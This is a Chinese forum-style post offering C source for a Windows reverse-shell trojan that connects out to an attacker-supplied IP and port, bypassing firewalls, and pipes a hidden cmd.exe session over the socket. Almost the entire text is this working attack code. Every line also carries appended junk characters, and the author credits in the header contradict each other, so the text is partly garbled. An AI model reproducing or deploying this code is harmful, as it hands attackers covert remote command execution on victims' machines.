这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 hxt;sQAo{
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/* ============================== eIOMW9Ivt
Rebound port in Windows NT 6n;? :./
By wind,2006/7 :\C/mT3xL)
===============================*/ |E;+j\
#include t^2$ent
#include RY1-Zjlb<
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#pragma comment(lib,"wsock32.lib") Oc-ia)v1G
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void OutputShell(); 6R*eJICN
SOCKET sClient; `6BQ6)7
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; )-h{0o
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void main(int argc,char **argv) <sX_hIA^Fx
{ "rVM23@
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WSADATA stWsaData; g?K? Fn.}
int nRet; ],vid1E
SOCKADDR_IN stSaiClient,stSaiServer; ,c
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c=^69>w
if(argc != 3) B1]FB|0's
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printf("Useage:\n\rRebound DestIP DestPort\n"); V;Q@'<w
return; GIfs]zVr`
} J%
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WSAStartup(MAKEWORD(2,2),&stWsaData);
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }:[MSUm5
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stSaiClient.sin_family = AF_INET; tK
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stSaiClient.sin_port = htons(0); rB|4
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); rrq7UJ;
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ~}SQLYy7Z
{ c8HETs1
printf("Bind Socket Failed!\n"); wM#l`I
return; $Rn9*OKr
} %eGD1.R
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stSaiServer.sin_family = AF_INET; L`fT;2
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ABL5T-*]
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); jpOcug`f
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) :c`djM^ll
{ 2z1r|?l
printf("Connect Error!"); =$ubSfx
return; Hq>rK`
} ''k}3o.K[
OutputShell(); }:1qK67S
} 5bsv05=e
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void OutputShell() LmUR@
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{ . TNJuuO
char szBuff[1024]; w;J#+ik
SECURITY_ATTRIBUTES stSecurityAttributes; $N|Spp0
OSVERSIONINFO stOsversionInfo; %WYveY
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; =,&{ &m)
STARTUPINFO stStartupInfo; G {a;s-OA3
char *szShell; 2%MS$Fto
PROCESS_INFORMATION stProcessInformation; v{8r46Y~Z)
unsigned long lBytesRead; a`Q-5*\;z
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 1J&hm[3[K
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 9$%S<v
stSecurityAttributes.lpSecurityDescriptor = 0; (D\`:1g
stSecurityAttributes.bInheritHandle = TRUE; ZKi?;ta=
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); b'RBel;W
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); V~t;
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 5)gC<
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZZ>(o
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stStartupInfo.wShowWindow = SW_HIDE; #O7phjzgD
stStartupInfo.hStdInput = hReadPipe; ,~NJ}4wP
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; |s!n7%|,7
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GetVersionEx(&stOsversionInfo); y"zZ9HQM
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switch(stOsversionInfo.dwPlatformId) GEki34
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{ X
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case 1: x0xQFlGk
szShell = "command.com"; ^K^rl9
break; /qd~|[Kx:
default: &3P"l.j
szShell = "cmd.exe"; Angt=q
break; P_M!h~
} M7neOQHq
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 59(} D'lw>
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send(sClient,szMsg,77,0); IpVtbDW
while(1) U@)WTH6d
{ 7#9fcfL
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ~8[`(/hj
if(lBytesRead) /? Bu^KX
{ z@xkE ,j>
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); .kDJuJ^
send(sClient,szBuff,lBytesRead,0); 2c5)pIVEy
} 8ZDWaq8^2N
else L#/<y{
{ gE6{R+sp
lBytesRead=recv(sClient,szBuff,1024,0); 4n2*2
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if(lBytesRead<=0) break; 8b+%:eJ
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); _(KzjOMt
} ,^qHl+'
} @Sz7*p
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return; vH]2t.\
}